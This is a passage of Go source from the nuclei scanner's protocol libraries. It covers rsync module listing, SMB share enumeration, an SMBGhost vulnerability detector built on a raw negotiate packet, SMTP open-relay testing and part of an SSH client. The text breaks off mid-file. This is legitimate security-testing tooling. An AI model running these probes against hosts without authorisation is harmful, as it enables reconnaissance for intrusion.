(c *RsyncClient) ListModules(ctx context.Context, host string, port int, username string, password string) (RsyncListResponse, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn listModules(executionId, host, port, username, password)\n}\n\n// ListShares lists the shares of a Rsync server.\n// @example\n// ```javascript\n// const rsync = require('nuclei/rsync');\n// const client = new rsync.RsyncClient();\n// const listShares = client.ListFilesInModule('acme.com', 873, 'username', 'password', '/');\n// log(toJSON(listShares));\n// ```\nfunc (c *RsyncClient) ListFilesInModule(ctx context.Context, host string, port int, username string, password string, module string) (RsyncListResponse, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn listFilesInModule(executionId, host, port, username, password, module)\n}\n\nfunc listModules(executionId string, host string, port int, username string, password string) (RsyncListResponse, error) {\n\tfastDialer := protocolstate.GetDialersWithId(executionId)\n\tif fastDialer == nil {\n\t\treturn RsyncListResponse{}, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\taddress := net.JoinHostPort(host, strconv.Itoa(port))\n\n\t// Create a bytes buffer for logging\n\tvar logBuffer bytes.Buffer\n\n\t// Create a custom slog handler that writes to the buffer\n\tlogHandler := slog.NewTextHandler(&logBuffer, &slog.HandlerOptions{\n\t\tLevel: slog.LevelDebug,\n\t})\n\n\t// Create a logger that writes to our buffer\n\tlogger := slog.New(logHandler)\n\n\tsr, err := rsynclib.ListModules(address,\n\t\trsynclib.WithClientAuth(username, password),\n\t\trsynclib.WithLogger(logger),\n\t\trsynclib.WithFastDialer(fastDialer.Fastdialer),\n\t)\n\tif err != nil {\n\t\treturn RsyncListResponse{}, fmt.Errorf(\"connect failed: %v\", err)\n\t}\n\n\tresult := RsyncListResponse{\n\t\tModules: make([]string, len(sr)),\n\t\tOutput:  logBuffer.String(),\n\t}\n\n\tfor i, item := range sr {\n\t\tresult.Modules[i] = string(item.Name)\n\t}\n\n\treturn result, nil\n}\n\nfunc listFilesInModule(executionId string, host string, port int, username string, password string, module string) (RsyncListResponse, error) {\n\tfastDialer := protocolstate.GetDialersWithId(executionId)\n\tif fastDialer == nil {\n\t\treturn RsyncListResponse{}, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\taddress := net.JoinHostPort(host, strconv.Itoa(port))\n\n\t// Create a bytes buffer for logging\n\tvar logBuffer bytes.Buffer\n\n\t// Create a custom slog handler that writes to the buffer\n\tlogHandler := slog.NewTextHandler(&logBuffer, &slog.HandlerOptions{\n\t\tLevel: slog.LevelDebug,\n\t})\n\n\t// Create a logger that writes to our buffer\n\tlogger := slog.New(logHandler)\n\n\tsr, err := rsynclib.SocketClient(nil, address, module, \".\",\n\t\trsynclib.WithClientAuth(username, password),\n\t\trsynclib.WithLogger(logger),\n\t\trsynclib.WithFastDialer(fastDialer.Fastdialer),\n\t)\n\tif err != nil {\n\t\treturn RsyncListResponse{}, fmt.Errorf(\"connect failed: %v\", err)\n\t}\n\n\t// Try to list files to test authentication\n\tlist, err := sr.List()\n\tif err != nil {\n\t\treturn RsyncListResponse{}, fmt.Errorf(\"authentication failed: %v\", err)\n\t}\n\n\tresult := RsyncListResponse{\n\t\tFiles:  make([]string, len(list)),\n\t\tOutput: logBuffer.String(),\n\t}\n\n\tfor i, item := range list {\n\t\tresult.Files[i] = string(item.Path)\n\t}\n\n\treturn result, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/smb/memo.smb.go",
    "content": "// Warning - This is generated code\npackage smb\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\n\t\"github.com/zmap/zgrab2/lib/smb/smb\"\n)\n\nfunc memoizedconnectSMBInfoMode(executionId string, host string, port int) (*smb.SMBLog, error) {\n\thash := \"connectSMBInfoMode\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn connectSMBInfoMode(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif value, ok := v.(*smb.SMBLog); ok {\n\t\treturn value, nil\n\t}\n\n\treturn nil, errors.New(\"could not convert cached result\")\n}\n\nfunc memoizedlistShares(executionId string, host string, port int, user string, password string) ([]string, error) {\n\thash := \"listShares\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port) + \":\" + fmt.Sprint(user) + \":\" + fmt.Sprint(password)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn listShares(executionId, host, port, user, password)\n\t})\n\tif err != nil {\n\t\treturn []string{}, err\n\t}\n\tif value, ok := v.([]string); ok {\n\t\treturn value, nil\n\t}\n\n\treturn []string{}, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/smb/memo.smb_private.go",
    "content": "// Warning - This is generated code\npackage smb\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"time\"\n\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\nfunc memoizedcollectSMBv2Metadata(executionId string, host string, port int, timeout time.Duration) (*plugins.ServiceSMB, error) {\n\thash := \"collectSMBv2Metadata\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port) + \":\" + fmt.Sprint(timeout)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn collectSMBv2Metadata(executionId, host, port, timeout)\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif value, ok := v.(*plugins.ServiceSMB); ok {\n\t\treturn value, nil\n\t}\n\n\treturn nil, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/smb/memo.smbghost.go",
    "content": "// Warning - This is generated code\npackage smb\n\nimport (\n\t\"errors\"\n\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\nfunc memoizeddetectSMBGhost(executionId string, host string, port int) (bool, error) {\n\thash := \"detectSMBGhost\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn detectSMBGhost(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif value, ok := v.(bool); ok {\n\t\treturn value, nil\n\t}\n\n\treturn false, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/smb/smb.go",
    "content": "package smb\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins\"\n\t\"github.com/projectdiscovery/go-smb2\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/zmap/zgrab2/lib/smb/smb\"\n)\n\ntype (\n\t// SMBClient is a client for SMB servers.\n\t// Internally client uses github.com/zmap/zgrab2/lib/smb/smb driver.\n\t// github.com/projectdiscovery/go-smb2 driver\n\t// @example\n\t// ```javascript\n\t// const smb = require('nuclei/smb');\n\t// const client = new smb.SMBClient();\n\t// ```\n\tSMBClient struct{}\n)\n\n// ConnectSMBInfoMode tries to connect to provided host and port\n// and discovery SMB information\n// Returns handshake log and error. If error is not nil,\n// state will be false\n// @example\n// ```javascript\n// const smb = require('nuclei/smb');\n// const client = new smb.SMBClient();\n// const info = client.ConnectSMBInfoMode('acme.com', 445);\n// log(to_json(info));\n// ```\nfunc (c *SMBClient) ConnectSMBInfoMode(ctx context.Context, host string, port int) (*smb.SMBLog, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedconnectSMBInfoMode(executionId, host, port)\n}\n\n// @memo\nfunc connectSMBInfoMode(executionId string, host string, port int) (*smb.SMBLog, error) {\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn nil, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", fmt.Sprintf(\"%s:%d\", host, port))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// try to get SMBv2/v3 info\n\tresult, err := getSMBInfo(conn, true, false)\n\t_ = conn.Close() // close regardless of error\n\tif err == nil {\n\t\treturn result, nil\n\t}\n\n\t// try to negotiate SMBv1\n\tconn, err = dialer.Fastdialer.Dial(context.TODO(), \"tcp\", fmt.Sprintf(\"%s:%d\", host, port))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\tresult, err = getSMBInfo(conn, true, true)\n\tif err != nil {\n\t\treturn result, nil\n\t}\n\treturn result, nil\n}\n\n// ListSMBv2Metadata tries to connect to provided host and port\n// and list SMBv2 metadata.\n// Returns metadata and error. If error is not nil,\n// state will be false\n// @example\n// ```javascript\n// const smb = require('nuclei/smb');\n// const client = new smb.SMBClient();\n// const metadata = client.ListSMBv2Metadata('acme.com', 445);\n// log(to_json(metadata));\n// ```\nfunc (c *SMBClient) ListSMBv2Metadata(ctx context.Context, host string, port int) (*plugins.ServiceSMB, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn nil, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\treturn memoizedcollectSMBv2Metadata(executionId, host, port, 5*time.Second)\n}\n\n// ListShares tries to connect to provided host and port\n// and list shares by using given credentials.\n// Credentials cannot be blank. guest or anonymous credentials\n// can be used by providing empty password.\n// @example\n// ```javascript\n// const smb = require('nuclei/smb');\n// const client = new smb.SMBClient();\n// const shares = client.ListShares('acme.com', 445, 'username', 'password');\n//\n//\tfor (const share of shares) {\n//\t\t  log(share);\n//\t}\n//\n// ```\nfunc (c *SMBClient) ListShares(ctx context.Context, host string, port int, user, password string) ([]string, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedlistShares(executionId, host, port, user, password)\n}\n\n// @memo\nfunc listShares(executionId string, host string, port int, user string, password string) ([]string, error) {\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn nil, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", fmt.Sprintf(\"%s:%d\", host, port))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\td := &smb2.Dialer{\n\t\tInitiator: &smb2.NTLMInitiator{\n\t\t\tUser:     user,\n\t\t\tPassword: password,\n\t\t},\n\t}\n\ts, err := d.Dial(conn)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\t_ = s.Logoff()\n\t}()\n\n\tnames, err := s.ListSharenames()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn names, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/smb/smb_private.go",
    "content": "package smb\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"time\"\n\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins\"\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins/services/smb\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\tzgrabsmb \"github.com/zmap/zgrab2/lib/smb/smb\"\n)\n\n// ==== private helper functions/methods ====\n\n// collectSMBv2Metadata collects metadata for SMBv2 services.\n// @memo\nfunc collectSMBv2Metadata(executionId string, host string, port int, timeout time.Duration) (*plugins.ServiceSMB, error) {\n\tif timeout == 0 {\n\t\ttimeout = 5 * time.Second\n\t}\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(host, fmt.Sprintf(\"%d\", port)))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\tmetadata, err := smb.DetectSMBv2(conn, timeout)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn metadata, nil\n}\n\n// getSMBInfo\nfunc getSMBInfo(conn net.Conn, setupSession, v1 bool) (*zgrabsmb.SMBLog, error) {\n\t_ = conn.SetDeadline(time.Now().Add(10 * time.Second))\n\tdefer func() {\n\t\t_ = conn.SetDeadline(time.Time{})\n\t}()\n\n\tresult, err := zgrabsmb.GetSMBLog(conn, setupSession, v1, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/smb/smbghost.go",
    "content": "package smb\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/structs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/utils/reader\"\n)\n\nconst (\n\tpkt = \"\\x00\\x00\\x00\\xc0\\xfeSMB@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00$\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00x\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x02\\x10\\x02\\\"\\x02$\\x02\\x00\\x03\\x02\\x03\\x10\\x03\\x11\\x03\\x00\\x00\\x00\\x00\\x01\\x00&\\x00\\x00\\x00\\x00\\x00\\x01\\x00 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n)\n\n// DetectSMBGhost tries to detect SMBGhost vulnerability\n// by using SMBv3 compression feature.\n// If the host is vulnerable, it returns true.\n// @example\n// ```javascript\n// const smb = require('nuclei/smb');\n// const isSMBGhost = smb.DetectSMBGhost('acme.com', 445);\n// ```\nfunc (c *SMBClient) DetectSMBGhost(ctx context.Context, host string, port int) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizeddetectSMBGhost(executionId, host, port)\n}\n\n// @memo\nfunc detectSMBGhost(executionId string, host string, port int) (bool, error) {\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn false, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\taddr := net.JoinHostPort(host, strconv.Itoa(port))\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn false, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", addr)\n\tif err != nil {\n\t\treturn false, err\n\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\t_, err = conn.Write([]byte(pkt))\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tbuff, _ := reader.ConnReadNWithTimeout(conn, 4, time.Duration(5)*time.Second)\n\targs, err := structs.Unpack(\">I\", buff)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif len(args) != 1 {\n\t\treturn false, errors.New(\"invalid response\")\n\t}\n\n\tlength := args[0].(int)\n\t_ = conn.SetReadDeadline(time.Now().Add(2 * time.Second))\n\tdata, err := reader.ConnReadNWithTimeout(conn, int64(length), time.Duration(5)*time.Second)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif len(data) < 72 {\n\t\treturn false, errors.New(\"invalid response expected at least 72 bytes\")\n\t}\n\n\tif !bytes.Equal(data[68:70], []byte(\"\\x11\\x03\")) || !bytes.Equal(data[70:72], []byte(\"\\x02\\x00\")) {\n\t\treturn false, nil\n\t}\n\treturn true, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/smtp/msg.go",
    "content": "package smtp\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"net/textproto\"\n\t\"strings\"\n)\n\ntype (\n\t// SMTPMessage is a message to be sent over SMTP\n\t// @example\n\t// ```javascript\n\t// const smtp = require('nuclei/smtp');\n\t// const message = new smtp.SMTPMessage();\n\t// message.From('xyz@projectdiscovery.io');\n\t// ```\n\tSMTPMessage struct {\n\t\tfrom string\n\t\tto   []string\n\t\tsub  string\n\t\tmsg  []byte\n\t\tuser string\n\t\tpass string\n\t}\n)\n\n// From adds the from field to the message\n// @example\n// ```javascript\n// const smtp = require('nuclei/smtp');\n// const message = new smtp.SMTPMessage();\n// message.From('xyz@projectdiscovery.io');\n// ```\nfunc (s *SMTPMessage) From(email string) *SMTPMessage {\n\ts.from = email\n\treturn s\n}\n\n// To adds the to field to the message\n// @example\n// ```javascript\n// const smtp = require('nuclei/smtp');\n// const message = new smtp.SMTPMessage();\n// message.To('xyz@projectdiscovery.io');\n// ```\nfunc (s *SMTPMessage) To(email string) *SMTPMessage {\n\ts.to = append(s.to, email)\n\treturn s\n}\n\n// Subject adds the subject field to the message\n// @example\n// ```javascript\n// const smtp = require('nuclei/smtp');\n// const message = new smtp.SMTPMessage();\n// message.Subject('hello');\n// ```\nfunc (s *SMTPMessage) Subject(sub string) *SMTPMessage {\n\ts.sub = sub\n\treturn s\n}\n\n// Body adds the message body to the message\n// @example\n// ```javascript\n// const smtp = require('nuclei/smtp');\n// const message = new smtp.SMTPMessage();\n// message.Body('hello');\n// ```\nfunc (s *SMTPMessage) Body(msg []byte) *SMTPMessage {\n\ts.msg = msg\n\treturn s\n}\n\n// Auth when called authenticates using username and password before sending the message\n// @example\n// ```javascript\n// const smtp = require('nuclei/smtp');\n// const message = new smtp.SMTPMessage();\n// message.Auth('username', 'password');\n// ```\nfunc (s *SMTPMessage) Auth(username, password string) *SMTPMessage {\n\ts.user = username\n\ts.pass = password\n\treturn s\n}\n\n// String returns the string representation of the message\n// @example\n// ```javascript\n// const smtp = require('nuclei/smtp');\n// const message = new smtp.SMTPMessage();\n// message.From('xyz@projectdiscovery.io');\n// message.To('xyz2@projectdiscoveyr.io');\n// message.Subject('hello');\n// message.Body('hello');\n// log(message.String());\n// ```\nfunc (s *SMTPMessage) String() string {\n\tvar buff bytes.Buffer\n\ttw := textproto.NewWriter(bufio.NewWriter(&buff))\n\t_ = tw.PrintfLine(\"To: %s\", strings.Join(s.to, \",\"))\n\tif s.sub != \"\" {\n\t\t_ = tw.PrintfLine(\"Subject: %s\", s.sub)\n\t}\n\t_ = tw.PrintfLine(\"\\r\\n%s\", s.msg)\n\treturn buff.String()\n}\n"
  },
  {
    "path": "pkg/js/libs/smtp/smtp.go",
    "content": "package smtp\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/smtp\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\n\tpluginsmtp \"github.com/praetorian-inc/fingerprintx/pkg/plugins/services/smtp\"\n)\n\ntype (\n\t// SMTPResponse is the response from the IsSMTP function.\n\t// @example\n\t// ```javascript\n\t// const smtp = require('nuclei/smtp');\n\t// const client = new smtp.Client('acme.com', 25);\n\t// const isSMTP = client.IsSMTP();\n\t// log(isSMTP)\n\t// ```\n\tSMTPResponse struct {\n\t\tIsSMTP bool\n\t\tBanner string\n\t}\n)\n\ntype (\n\t// Client is a minimal SMTP client for nuclei scripts.\n\t// @example\n\t// ```javascript\n\t// const smtp = require('nuclei/smtp');\n\t// const client = new smtp.Client('acme.com', 25);\n\t// ```\n\tClient struct {\n\t\tnj   *utils.NucleiJS\n\t\thost string\n\t\tport string\n\t}\n)\n\n// Constructor for SMTP Client\n// Constructor: constructor(public host: string, public port: string)\nfunc NewSMTPClient(call goja.ConstructorCall, runtime *goja.Runtime) *goja.Object {\n\t// setup nucleijs utils\n\tc := &Client{nj: utils.NewNucleiJS(runtime)}\n\tc.nj.ObjectSig = \"Client(host, port)\" // will be included in error messages\n\n\thost, _ := c.nj.GetArg(call.Arguments, 0).(string) // host\n\tport, _ := c.nj.GetArg(call.Arguments, 1).(string) // port\n\n\t// validate arguments\n\tc.nj.Require(host != \"\", \"host cannot be empty\")\n\tc.nj.Require(port != \"\", \"port cannot be empty\")\n\n\t// validate port\n\tportInt, err := strconv.Atoi(port)\n\tc.nj.Require(err == nil && portInt > 0 && portInt < 65536, \"port must be a valid number\")\n\tc.host = host\n\tc.port = port\n\n\texecutionId := c.nj.ExecutionId()\n\n\t// check if this is allowed address\n\tc.nj.Require(protocolstate.IsHostAllowed(executionId, host+\":\"+port), protocolstate.ErrHostDenied.Msgf(host+\":\"+port).Error())\n\n\t// Link Constructor to Client and return\n\treturn utils.LinkConstructor(call, runtime, c)\n}\n\n// IsSMTP checks if a host is running a SMTP server.\n// @example\n// ```javascript\n// const smtp = require('nuclei/smtp');\n// const client = new smtp.Client('acme.com', 25);\n// const isSMTP = client.IsSMTP();\n// log(isSMTP)\n// ```\nfunc (c *Client) IsSMTP() (SMTPResponse, error) {\n\tresp := SMTPResponse{}\n\tc.nj.Require(c.host != \"\", \"host cannot be empty\")\n\tc.nj.Require(c.port != \"\", \"port cannot be empty\")\n\n\ttimeout := 5 * time.Second\n\n\texecutionId := c.nj.ExecutionId()\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn SMTPResponse{}, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(c.host, c.port))\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\tsmtpPlugin := pluginsmtp.SMTPPlugin{}\n\tservice, err := smtpPlugin.Run(conn, timeout, plugins.Target{Host: c.host})\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tif service == nil {\n\t\treturn resp, nil\n\t}\n\tresp.Banner = service.Version\n\tresp.IsSMTP = true\n\treturn resp, nil\n}\n\n// IsOpenRelay checks if a host is an open relay.\n// @example\n// ```javascript\n// const smtp = require('nuclei/smtp');\n// const message = new smtp.SMTPMessage();\n// message.From('xyz@projectdiscovery.io');\n// message.To('xyz2@projectdiscoveyr.io');\n// message.Subject('hello');\n// message.Body('hello');\n// const client = new smtp.Client('acme.com', 25);\n// const isRelay = client.IsOpenRelay(message);\n// ```\nfunc (c *Client) IsOpenRelay(msg *SMTPMessage) (bool, error) {\n\tc.nj.Require(c.host != \"\", \"host cannot be empty\")\n\tc.nj.Require(c.port != \"\", \"port cannot be empty\")\n\n\texecutionId := c.nj.ExecutionId()\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn false, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\taddr := net.JoinHostPort(c.host, c.port)\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", addr)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\tclient, err := smtp.NewClient(conn, c.host)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif err := client.Mail(msg.from); err != nil {\n\t\treturn false, err\n\t}\n\tif len(msg.to) == 0 || len(msg.to) > 1 {\n\t\treturn false, fmt.Errorf(\"invalid number of recipients: required 1, got %d\", len(msg.to))\n\t}\n\tif err := client.Rcpt(msg.to[0]); err != nil {\n\t\treturn false, err\n\t}\n\n\t// Send the email body.\n\twc, err := client.Data()\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\t_, err = wc.Write([]byte(msg.String()))\n\tif err != nil {\n\t\treturn false, err\n\t}\n\terr = wc.Close()\n\tif err != nil {\n\t\treturn false, err\n\t}\n\t// Send the QUIT command and close the connection.\n\terr = client.Quit()\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn true, nil\n}\n\n// SendMail sends an email using the SMTP protocol.\n// @example\n// ```javascript\n// const smtp = require('nuclei/smtp');\n// const message = new smtp.SMTPMessage();\n// message.From('xyz@projectdiscovery.io');\n// message.To('xyz2@projectdiscoveyr.io');\n// message.Subject('hello');\n// message.Body('hello');\n// const client = new smtp.Client('acme.com', 25);\n// const isSent = client.SendMail(message);\n// log(isSent)\n// ```\nfunc (c *Client) SendMail(msg *SMTPMessage) (bool, error) {\n\tc.nj.Require(c.host != \"\", \"host cannot be empty\")\n\tc.nj.Require(c.port != \"\", \"port cannot be empty\")\n\n\tvar auth smtp.Auth\n\tif msg.user != \"\" && msg.pass != \"\" {\n\t\tauth = smtp.PlainAuth(\"\", msg.user, msg.pass, c.host)\n\t}\n\n\t// send mail\n\taddr := net.JoinHostPort(c.host, c.port)\n\tif err := smtp.SendMail(addr, auth, msg.from, msg.to, []byte(msg.String())); err != nil {\n\t\tc.nj.Throw(\"failed to send mail with message(%s) got %v\", msg.String(), err)\n\t}\n\treturn true, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/ssh/memo.ssh.go",
    "content": "// Warning - This is generated code\npackage ssh\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\n\t\"github.com/zmap/zgrab2/lib/ssh\"\n)\n\nfunc memoizedconnectSSHInfoMode(opts *connectOptions) (*ssh.HandshakeLog, error) {\n\thash := \"connectSSHInfoMode\" + \":\" + fmt.Sprint(opts)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn connectSSHInfoMode(opts)\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif value, ok := v.(*ssh.HandshakeLog); ok {\n\t\treturn value, nil\n\t}\n\n\treturn nil, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/ssh/ssh.go",
    "content": "package ssh\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\t\"github.com/zmap/zgrab2/lib/ssh\"\n)\n\ntype (\n\t// SSHClient is a client for SSH servers.\n\t// Internally client uses github.com/zmap/zgrab2/lib/ssh driver.\n\t// @example\n\t// ```javascript\n\t// const ssh = require('nuclei/ssh');\n\t// const client = new ssh.SSHClient();\n\t// ```\n\tSSHClient struct {\n\t\tconnection *ssh.Client\n\t\ttimeout    time.Duration\n\t}\n)\n\n// precompiled regex patterns\nvar (\n\tpasswordQuestionPattern = regexp.MustCompile(`(?i)(pass(word|phrase|code)?|pin)`)\n\tusernameQuestionPattern = regexp.MustCompile(`(?i)(user(name)?|login)`)\n)\n\n// SetTimeout sets the timeout for the SSH connection in seconds\n// @example\n// ```javascript\n// const ssh = require('nuclei/ssh');\n// const client = new ssh.SSHClient();\n// client.SetTimeout(10);\n// ```\nfunc (c *SSHClient) SetTimeout(sec int) {\n\tc.timeout = time.Duration(sec) * time.Second\n}\n\n// Connect tries to connect to provided host and port\n// with provided username and password with ssh.\n// Returns state of connection and error. If error is not nil,\n// state will be false\n// @example\n// ```javascript\n// const ssh = require('nuclei/ssh');\n// const client = new ssh.SSHClient();\n// const connected = client.Connect('acme.com', 22, 'username', 'password');\n// ```\nfunc (c *SSHClient) Connect(ctx context.Context, host string, port int, username, password string) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\tconn, err := connect(&connectOptions{\n\t\tHost:        host,\n\t\tPort:        port,\n\t\tUser:        username,\n\t\tPassword:    password,\n\t\tExecutionId: executionId,\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tc.connection = conn\n\n\treturn true, nil\n}\n\n// ConnectWithKey tries to connect to provided host and port\n// with provided username and private_key.\n// Returns state of connection and error. If error is not nil,\n// state will be false\n// @example\n// 